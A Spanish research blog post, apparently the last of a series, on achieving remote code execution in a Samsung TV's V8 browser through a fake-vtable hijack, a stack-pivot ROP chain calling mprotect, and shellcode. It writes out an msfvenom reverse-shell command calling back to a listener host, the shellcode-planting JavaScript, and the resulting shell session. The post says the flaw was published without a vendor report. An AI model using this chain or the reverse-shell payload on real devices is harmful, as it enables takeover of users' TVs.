/ 10 min de lectura

RCE en V8 de una Samsung TV #6: ROP, mprotect y reverse shell

Llegamos al final. El veredicto de 05 fue claro: W^X / DEP en vigor, stack RW-, librería W^X estricta, code-space JIT R-X en reposo. No hay RWX que abusar, así que la etapa de ejecución es ROP. La buena noticia es que ya está todo listo para armarla: R/W arbitrario (01), elf_base ASLR-proof (04) y 395k gadgets del .so dumpeado.

Falta la parte central: cómo la CPU empieza a ejecutar esos gadgets.

El hijack: fake-vtable sobre el ScriptWrappable

El PoC original portado (PumpkinBridge, Chrome 125 x64 Windows) resuelve esto con un hijack del CodePointerTable (CPT) más corrupción de PartitionAlloc: dos construcciones exclusivas del V8 Sandbox de 64-bit. En ARM32 no existe ninguna de las dos, y eso simplifica el problema en vez de complicarlo.

Pieza del original (x64)En ARM32 (32-bit)
PartitionAlloc SlotSpan corruption (escape del cage)Innecesario. Sin pointer-compression cage, write32 ya escribe en todo el espacio (01). No hay jaula que romper.
CodePointerTable hijack (fptr_xor)No existe. El CPT es parte del sandbox de 64-bit. En V8 32-bit no hay CPT, ni fptr_xor, ni CFG sobre punteros de código.

No hay sandbox que escapar (ya hay R/W total) ni indirección que falsificar. El camino que funcionó abusa de una particularidad de ARM: en la convención C++ de ARM32, el puntero this se pasa en r0.

Para ver por qué eso alcanza, hay que entender cómo funciona una llamada virtual en C++. Cuando se llama un método virtual de un objeto, el compilador no sabe de antemano a qué función saltar: lo resuelve en runtime mirando la vtable del objeto (una tabla de punteros a funciones) que está guardada en la primera palabra del objeto. O sea: para llamar obj->algo(), la CPU lee *obj (ahí está la vtable), busca el slot que le toca, y salta a esa dirección. Controlando qué hay en *obj se controla a dónde salta. Esa es toda la idea, y se arma en tres piezas:

  1. Apuntar el wrapper a un objeto controlado. Un DOM wrapper guarda en wrapper+0x10 el puntero a su objeto C++ de Blink (el ScriptWrappable, sobre el que Blink llama métodos virtuales todo el tiempo). Con write32 se pisa ese puntero para que apunte a un ArrayBuffer propio, cuya dirección ya se conoce con addrOf. A partir de ahí, para Blink, “el objeto” es ese buffer: se decide byte por byte qué hay adentro.

  2. Plantar una vtable falsa adentro del buffer. Cuando Blink hace la próxima llamada virtual sobre “el objeto” (el buffer), sigue el mismo procedimiento de siempre: lee la primera palabra del buffer para encontrar la vtable, va a esa vtable, toma el slot del método que quería llamar, y salta a la dirección que haya ahí. Como el buffer es controlado, se controlan las dos lecturas que hace Blink: la primera palabra (que apunta a una vtable falsa, también dentro del buffer) y los slots de esa vtable falsa (donde están las direcciones de salto). En cada slot se escribe la misma dirección: la de un gadget llamado PIVOT (un pedacito de código que ya existe en libchrome.so, detallado en el paso 3). El mismo valor en todos los slots porque no importa qué método virtual invoque Blink: sea el slot que sea, la dirección que encuentra es siempre PIVOT. Salto garantizado.

  3. Pivotear el stack hacia el buffer. Acá entra el truco que hace posible ROP: una cadena ROP se ejecuta leyendo “el stack”, así que hace falta que el stack sea ese buffer. El gadget PIVOT real es mov sp, r0 ; add sp, #4 ; pop {r4-fp, ip, lr} ; add sp, #8 ; bx lr, y hace dos cosas en una. Primero, mov sp, r0 copia r0 (el buffer) a SP: desde ese instante el procesador toma como stack la cadena ROP ya escrita en el buffer. Y acá está la parte que hace que todo cierre: el bx lr del final no vuelve al lr de la llamada original (ese apuntaría de vuelta a Blink). Antes del bx lr, ese pop {…, lr} carga lr desde el propio buffer, donde ya está escrita la dirección del primer gadget de la cadena (ARGS = pop {r0, r1, r2, …, pc}). Así que el bx lr cae, de forma determinística, en ARGS, que carga los argumentos de mprotect (r0, r1, r2) y arranca la cadena.

Falta el gatillo: cómo se fuerza esa llamada virtual cuando todo está listo. El objeto secuestrado no es document.body sino un <div> creado con createElement y no agregado al DOM, desacoplado a propósito, para que el motor no lo toque entre el write32 y el disparo (a document.body, en cambio, el render lo referencia todo el tiempo). Con el wrapper ya redirigido, se lee div.nodeName: esa propiedad, por dentro, es un método virtual de Node. Leerla dispara exactamente una llamada virtual sobre “el objeto”, que ahora es el buffer, y ahí arranca todo. Ese el.nodeName es el disparo.

Así se ve el buffer que preparo, y la secuencia que dispara una sola llamada virtual:

Mi ArrayBuffer (lo conozco con addrOf):
┌──────────────────────────┬─────────────────────────────────┐
│ fake vtable: PIVOT,PIVOT…│ cadena ROP: pop {r0,r1,r2}; … │
└──────────────────────────┴─────────────────────────────────┘
▲ *(buf) cae acá ▲ acá apunta SP tras el pivot
Paso 1 write32(div+0x10, buf) → para Blink, el ScriptWrappable del <div> ahora es mi buffer
Paso 2 leo div.nodeName (virtual) → r0 = buf ; salta a *(*buf) = PIVOT
Paso 3 PIVOT: mov sp, r0 → SP = buf (el stack ahora es mi cadena ROP)
Paso 4 la cadena ROP corre → mprotect(page, 0x4000, RWX) ; salta al shellcode

Mismo esqueleto que el original (corromper una indirección → pivot → ROP → mem-protect → shellcode), pero sin CPT, sin fptr_xor y sin PartitionAlloc. Toda esa maquinaria del PoC original deja de importar: con el ancla del DOM wrapper se evita por completo. A veces el camino correcto es más corto de lo que el original hace creer.

La cadena, en tres movimientos

Una vez que SP apunta a la fake-stack, viene la cadena ARM32 clásica:

pivot (SP→fake-stack) → ROP: mprotect(buf, len, RWX) → jump buf → shellcode

1. Leak de mprotect, sin pelear el ASLR de la libc. mprotect no es un símbolo definido en libchromium-impl.so: es un import vía PLT a la libc de los NEEDED (stack EFL de Tizen). Pero gracias a DF_BIND_NOW + full RELRO (05), la GOT ya está poblada en el load con la dirección de runtime real. Se lee con read32() desde el slot del GOT (offset conocido del dump) → dirección de mprotect, sin tener que derrotar el ASLR de la libc por separado. Todo cuelga de elf_base, ya derivado de forma estable.

2. La cadena ROP. Convención ARM EABI: argumentos en r0, r1, r2. De los 395k gadgets salen los pop {r0, …} ; bx lr necesarios para cargar r0 = page_base (base alineada a página del buffer a volver ejecutable), r1 = 0x4000 (len), r2 = 7 (PROT_READ|WRITE|EXEC), y saltar a mprotect. El buffer a volver RWX es el mismo ArrayBuffer que sirve de fake-stack, cuya dirección ya se conoce por addrOf.

3. Jump al shellcode. Tras mprotect, page_base es RWX. Salto a él; el buffer contiene el shellcode ARM32 de validación.

La etapa corre como dos payloads: recon, después disparo:

  • vtable.js: la validación read-only, encuentra el ScriptWrappable* a secuestrar, confirma que wrapper+0x10 es el target, y resuelve elf_base/mprotect/PIVOT. No toca memoria.
  • pwn.js: la fase de escritura (FIRE=true), planta la fake-vtable + la cadena ROP en el ArrayBuffer y dispara write32 + trigger.
Payload vtable validando el hijack en el TV

vtable (read-only): localiza el ScriptWrappable* del wrapper como VTABLE-FIRST (HIJACK TARGET) y vuelca el resumen de validación del hijack (lo que el log rotula VALIDACIÓN CAMINO A): elf_base, mprotect runtime, PIVOT, sin tocar memoria todavía.

Payload pwn disparando con FIRE=true en el TV

pwn en la fase de escritura (FIRE = true): planta la fake-vtable homogénea + la cadena ROP en el ArrayBuffer y dispara write32 + trigger. El log se corta justo ahí porque la ejecución se desvía al shellcode y el render muere: exactamente el resultado esperado.

El shellcode: backconnect /bin/sh

Para el shellcode solo hace falta una prueba inequívoca de ejecución nativa, nada de cargas ofensivas. Por eso un reverse shell ARM32 (linux/armle/shell_reverse_tcp). El binario que efectivamente disparó la cadena es payloads/shellcode/callback.bin, de msfvenom:

Terminal window
msfvenom -p linux/armle/shell_reverse_tcp LHOST=192.168.100.80 LPORT=1337 \
-a armle --platform linux -f raw > callback.bin

Esos 172 bytes se embeben en pwn.js como array y se plantan en el ArrayBuffer (offset L_SHELL = 0x600 del backing), dejando el lr de mprotect apuntando ahí: cuando la página se vuelve RWX, el mprotect retorna directo al shellcode.

// pwn.js — callback.bin embebido y plantado en el buffer
const SHELLCODE = [
0x02,0x00,0xa0,0xe3, 0x01,0x10,0xa0,0xe3, /* … */ // 172B de callback.bin
];
const L_SHELL = 0x600; // offset del shellcode dentro del backing
for (let i = 0; i < SHELLCODE.length; i++)
sdv.setUint8(L_SHELL + i, SHELLCODE[i]); // lo escribo en mi ArrayBuffer
const shellAddr = (backing + L_SHELL) >>> 0; // dirección absoluta del shellcode
sdv.setUint32(L_MPLR, shellAddr, true); // lr de mprotect -> retorna acá, ya RWX

socket → connect → dup2 ×3 → execve("/bin/sh") de vuelta a la researcher machine en 192.168.100.80:1337. Listener:

Terminal window
nc -l 1337 -vv

En payloads/shellcode/arm32_reverse_shell.s queda además una versión escrita a mano del mismo backconnect (null-free, ARM→Thumb, basada en el trabajo de Gokul Babu) como referencia y material de estudio.

Cuando la cadena salta al buffer RWX, la TV abre /bin/sh contra la laptop de la researcher machine:

Reverse shell recibida en la researcher machine
$ nc -l 1337 -vv
uname -a
Linux localhost 5.4.261 #1 SMP PREEMPT ... armv7l GNU/Linux
whoami
owner
ps aux | grep sandbox
owner 15594 ... /usr/bin/efl_webprocess --type=zygote --no-sandbox -- .../org.tizen.browser

Ejecución de comandos arbitrarios en la TV con el UID del navegador (owner). armv7l confirma el userland ARM 32-bit. Y --no-sandbox en efl_webprocess significa que el render del Tizen Browser corre sin sandbox, así que un RCE en V8 cae directo sobre el proceso del navegador, sin etapa de escape. Sin ADB, sin modo desarrollador: la única vía de entrada fue un bug de V8 en una página servida desde la propia laptop del equipo de investigación.

Por qué cada eslabón cierra

El reverse shell no es una carga ofensiva: es la prueba mínima e inequívoca de ejecución de código arbitrario, y todo el arco de la serie se resume en cuatro pasos:

  1. Una type confusion de WasmGC da R/W arbitrario, sin cage en 32-bit (01)
  2. Ese R/W deriva elf_base (ASLR-proof, 03 / 04) y, ya en este capítulo, leakea mprotect del GOT.
  3. Una cadena ROP vuelve un buffer RWX pese a W^X/DEP (05).
  4. El shellcode prueba ejecución nativa: una shell en la researcher machine.

Todo empezó con una curiosidad simple, ¿qué hay realmente del otro lado de la pantalla?, y la única forma honesta de responderla era abrir la caja y mirar adentro. No había un mapa: cada paso fue una hipótesis que la TV confirmaba o rechazaba a su manera (un crash, un \x7fELF, un puntero que caía donde tenía que caer). Lo que queda no es la shell en sí, sino el método: tomar un dispositivo cerrado, hacerle las preguntas correctas, y dejar que cuente por sí mismo cómo está hecho.

Sobre la divulgación (y por qué este writeup es público)

Samsung mantiene un programa de Bug Bounty para sus TV: https://security.samsungtv.com/bugbountyProgram

Antes de publicar este writeup se buscó, sin encontrar, un Vulnerability Disclosure Program que permitiera reportar la vulnerabilidad y además publicar los detalles técnicos. La mayoría de los programas de Bug Bounty exigen mantener la investigación bajo reserva a cambio de la recompensa, lo que deja el hallazgo documentado solo en un informe privado.

Priorizamos publicar el proceso completo, no solo el resultado. El objetivo es que quede disponible como referencia técnica para quienes investigan vulnerabilidades en dispositivos embebidos: el método importa tanto como el hallazgo.